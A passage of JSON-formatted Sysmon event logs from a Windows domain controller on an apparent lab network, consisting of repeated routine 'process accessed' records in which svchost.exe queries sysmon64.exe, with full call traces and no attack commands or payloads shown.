C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:37.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3839,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:37.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:37.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3840,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:37.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:37.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3841,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:37.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:37.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3842,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:37.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:37.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3843,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:37.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:37.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3844,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:37.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:37.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3845,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:37.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:37.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3846,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:37.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 